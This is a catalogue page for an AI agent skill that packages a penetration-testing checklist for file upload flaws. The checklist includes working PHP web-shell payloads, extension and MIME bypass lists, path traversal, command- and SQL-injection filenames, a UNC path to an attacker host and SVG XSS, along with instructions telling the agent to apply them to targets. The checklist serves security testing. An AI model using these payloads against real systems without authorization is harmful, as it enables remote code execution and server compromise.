offensive-file-upload
File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.
Install / Use
npx skills add SnailSploit/Claude-Red --skill offensive-file-uploadInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of offensive-file-upload
offensive-file-upload scores 96/100 on our quality scale, 132nd of 653 Security skills we index (top 21%).
Its SKILL.md is 30 KB long, well organised into 54 sections with 10 code examples: a thorough specification that gives an agent plenty to work with.
With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated 6 days ago, so offensive-file-upload is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.
Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
offensive-file-upload compared with similar skills
All 4 of these similar skills score higher than offensive-file-upload; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| offensive-file-upload (this skill)by SnailSploit | 96 | 6.8k | 6d ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 85.5k | 11d ago | CLAUDE.md |
| algorithmic-artby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 130.2k | 5d ago | SKILL.md |
Frequently asked questions
- How do I install offensive-file-upload?
- Run
npx skills add SnailSploit/Claude-Red --skill offensive-file-upload. The install tabs above show the steps for each supported agent. - Which AI agents does offensive-file-upload work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is offensive-file-upload safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is offensive-file-upload still maintained?
- The repository was last updated 6 days ago, so offensive-file-upload is actively maintained.
Skill content
View source on GitHubSKILL: File Upload Vulnerabilities
Metadata
- Skill Name: file-upload
- Folder: offensive-file-upload
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/file-upload.md
Description
File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.
Trigger Phrases
Use this skill when the conversation involves any of:
file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
File Upload Vulnerabilities
Mechanisms
flowchart TD
A[File Upload Vulnerabilities] --> B[Insufficient File Type Validation]
A --> C[Improper Extension Handling]
A --> D[Inadequate File Content Analysis]
A --> E[Unsafe File Storage]
A --> F[File Operation Mishandling]
A --> G[Directory Traversal]
A --> H[Race Conditions]
B --> I[Remote Code Execution]
C --> I
D --> J[Client-Side Attacks]
E --> I
F --> K[Denial of Service]
G --> L[Arbitrary File Access]
H --> I
File upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms. These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.
The core technical issues behind file upload vulnerabilities include:
- Insufficient File Type Validation: Failure to properly validate the actual content/type of uploaded files
- Improper Extension Handling: Not restricting dangerous file extensions or allowing easy bypasses
- Inadequate File Content Analysis: Not checking the actual file content versus relying only on extension or content-type
- Unsafe File Storage: Storing files in executable directories or with dangerous permissions
- File Operation Mishandling: Not securely handling file operations during the upload process
- Directory Traversal Vulnerabilities: Allowing manipulation of upload paths
- Race Conditions: Timing issues during validation and moving of uploaded files
- Archive Extraction Flaws: Insecure handling of archive formats like ZIP or TAR (e.g., Symlink abuse, Zip Slip)
File upload vulnerabilities can manifest in various upload functionality patterns:
- Profile Picture Uploads: Common in user profiles and social media
- Document Repositories: File sharing services and document management systems
- Media Uploads: Image, video, and audio uploaders
- Bulk Import Features: CSV, XML, and other data import functionality
- Content Management Systems: Templates, plugins, themes, and media libraries
Hunt
Identifying File Upload Vulnerabilities
Target Discovery
-
Map File Upload Functionality:
- Profile picture uploads
- Document/attachment uploads
- Import/export features
- Media galleries
- CMS admin sections
- Backup/restore features
- Avatar/image uploads
-
Identify Upload Processing Patterns:
- Client-side validation patterns (JavaScript checks)
- Server-side validation indicators
- File type restrictions mentioned in UI
- Error messages related to file types
-
Testing Prerequisites:
- Collection of test files (various formats)
- Proxy for intercepting requests (Burp Suite, ZAP)
- Web shells for testing execution
- MIME-type tools for manipulation
- Containerized/sandboxed converters ready for validation (e.g., bwrap/seccomp profiles)
Testing Methodologies
-
Basic File Upload Testing:
- Test uploading standard expected files (baseline)
- Attempt uploading executable file types (PHP, ASP, JSP, etc.)
- Modify content-type headers during upload
- Change file extensions after client-side validation
-
Extension-Based Testing:
- Test alternate extensions for web shells:
.php, .php3, .php4, .php5, .phtml, .phar, .phpt, .pht, .phps, .php2, .php6, .php7, .inc, .shtml, .pgif .asp, .aspx, .ashx, .asmx, .cer, .asa .jsp, .jspx, .jsw, .jsv, .jspf .cfm, .cfml, .cfc, .dbm (Coldfusion) .pl, .py, .rb, .cgi - Test double extensions:
file.jpg.php file.php.jpg file.php.jpeg file.php%00.jpg # Null byte (older versions) file.php%20.jpg # URL encoded space file.php%0d%0a.jpg # CRLF injection file.php.blah123jpg # If regex is weak - Test case sensitivity bypass:
file.PhP file.Php5 file.AspX file.pHp file.pHP5 file.PhAr - Test trailing characters/delimiters:
file.php..... file.php/ file.php.\ file.php. # Trailing dot (Windows specific) file.php%20 # Trailing space file.php%09 # Trailing tab file.php%0a # Trailing newline file.php%0d # Trailing carriage return file.php::$DATA # NTFS Alternate Data Stream (Windows specific) file. # No extension .html # Just extension - Test filename manipulation:
# Try to cut extension with max filename length limit # Try empty filename: .php # Send filename parameter twice: filename="allowed.jpg";filename="shell.php"
- Test alternate extensions for web shells:
-
Content-Type Testing:
- Modify the Content-Type header to bypass MIME validation:
Content-Type: image/jpeg # actual file is PHP Content-Type: image/png # actual file is PHP Content-Type: image/gif # actual file is PHP Content-Type: application/x-php # declared as image/jpeg when sent - Other Content-Type manipulations:
# Remove Content-Type header entirely # Send Content-Type twice with allowed/disallowed values
- Modify the Content-Type header to bypass MIME validation:
-
Magic Byte Forging:
- If validation relies on magic bytes, prefix the malicious file content with valid magic bytes of an allowed type.
# Example: Add GIF header to a PHP shell GIF89a;<?php system($_GET['cmd']); ?> -
Polyglot File Testing:
- Create and test polyglot files (valid in multiple formats)
GIFAR files (GIF + RAR) Valid Image + PHP code in EXIF metadata PDF + PHP code SVG + JavaScript for XSS - see @dan_crowley's talk and @angealbertini research
- Create and test polyglot files (valid in multiple formats)
-
Path and Filename Abuse Testing:
- Test path traversal in filename:
filename=../../../../etc/passwd filename=/etc/passwd filename=\\attacker-site.com\file.png # UNC Path (Windows specific, may trigger SMB connection) - Test injections via filename (if filename is processed unsafely):
filename=a$(whoami)z.png # Command Injection filename=a`whoami`z.png # Command Injection filename="a';select+sleep(10);--z.png" # SQL Injection filename=https://internal.service/data # SSRF attempt - Test DoS via large filename (e.g., 255+ characters).
- Test path traversal in filename:
-
Archive Testing (Zip/Tar):
- Zip Slip: Create archives with path traversal (
../../tmp/shell.php). - Symlink Abuse: Include symlinks in archives pointing to sensitive files (
ln -s /etc/passwd link.txt). - Tar Permissions Abuse: Create tar with restrictive parent dir permissions (
chmod 300) but permissive subdir (chmod 700) containing symlinks. - Also test LFI access via zip wrapper:
site.com/path?page=zip://path/to/uploaded/file.zip%23shell.php
- Zip Slip: Create archives with path traversal (
-
ImageMagick Testing:
- Test for vulnerabilities like SSRF, LFI, RCE (e.g., ImageTragick CVEs) if the server uses ImageMagick for image processing.
- See details in the "Impact Scenarios -> ImageMagick Vulnerabilities" section.
-
Third-Party Library Testing:
- Check for vulnerabilities in libraries used for processing uploads (e.g., ExifTool CVE-2021-22204).
-
Race Condition Testing:
- File Upload Race: Rapidly request the uploaded file path immediately after initiating the upload, attempting access before validation/removal.
- URL-Based Upload Race: If uploading via URL, rapidly request the temporary local copy path while the server fetches/validates.
- HTTP/2 Multiplex Smuggling: Abuse concurrent stream uploads to bypass validation or size limits by interleaving unvalidated chunks.
- Temp path reads: Try accessing temporary upload paths before move/scan completes.
-
SSRF via HTTP Range Requests:
- If uploading via URL, try manipulating
Rangeheaders to potentially redirect parts of the download to internal servers.
- If uploading via URL, try manipulating
Bypass Techniques
mindmap
root((Bypass Techniques))
Client-Side
Disable JavaScript
Request Interception
Extension Manipulation
MIME-Type Manipulation
Server-Side
Metadata Injection
Image Content Manipulation
Polyglot Techniques
Path Traversal
DenyList Bypass
Magic Byte Forging
Windows Specific Bypasses (. and ADS)
Client-Side Validation Bypasses
-
Disabling JavaScript:
- Disable JavaScript to bypass client-side checks
- Use browser developer tools to modify the DOM
-
Request Interception:
- Intercept and modify upload requests using Burp Suite or ZAP
- Change file parameters post-validation
-
Extension Manipulation Techniques:
# Null byte injection (for PHP < 5.3.4)
shell.php%00.jpg
shell.php\x00.jpg
# Using alternate representations
shell.php.....
shell.php;.jpg
shell.php::$DATA.jpg
# Manipulating request content
1. Upload legitimate image
2. Intercept request
3. Replace file content with shell while keeping filename
- MIME-Type Manipulation:
- Modify Content-Type header to match expected type
- Change file signature/magic bytes to appear as legitimate format
Server-Side Validation Bypasses
-
Metadata Injection:
- Inject code into image metadata (EXIF)
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" payload.jpg -
Image Content Manipulation:
- Create images containing server-side code
# PHP code in GIF file GIF89a; <?php system($_GET['cmd']); ?> -
Advanced Polyglot Techniques:
- Create files that are valid in multiple formats
# Valid JPG and PHP Create JPG with PHP code after the image data Add PHP code to EXIF data -
Path Traversal in Upload Locations:
filename=../../../tmp/shell.php filename=..%2f..%2f..%2ftmp%2fshell.php filename=../../etc/passwd/logo.png # Example LFI attempt filename=\\attacker-site.com\file.png # UNC Path (Windows specific) -
Common DenyList Bypass:
escape "/" with "\/" or "//" with "\/\/" try single "/" instead of "//" remove http i.e. "continue=//google.com" "/\/\" , "|/" , "/%09/" encode, slashes "./" CHANGE TO "..//" "../" CHANGE TO "....//" "/" CHANGE TO "//" filename=..%2f..%2f..%2ftmp%2fshell.php # Check IIS specific extensions if applicable filename=shell.cer filename=shell.asa # Windows specific bypasses filename=shell.aspx. # Trailing dot filename=shell.php::$DATA # Alternate Data Stream (ADS) filename=shell.php:.jpg # ADS confusion -
GIF Comment Bypass:
- Inject payload within GIF comments.
GIF89a/*<svg/onload=alert(1)>*/=
Truncated for display — read the full file on GitHub.
Related Skills
Agent-Reach
85.5kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way — as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an em…
design
130.2kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVG…
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
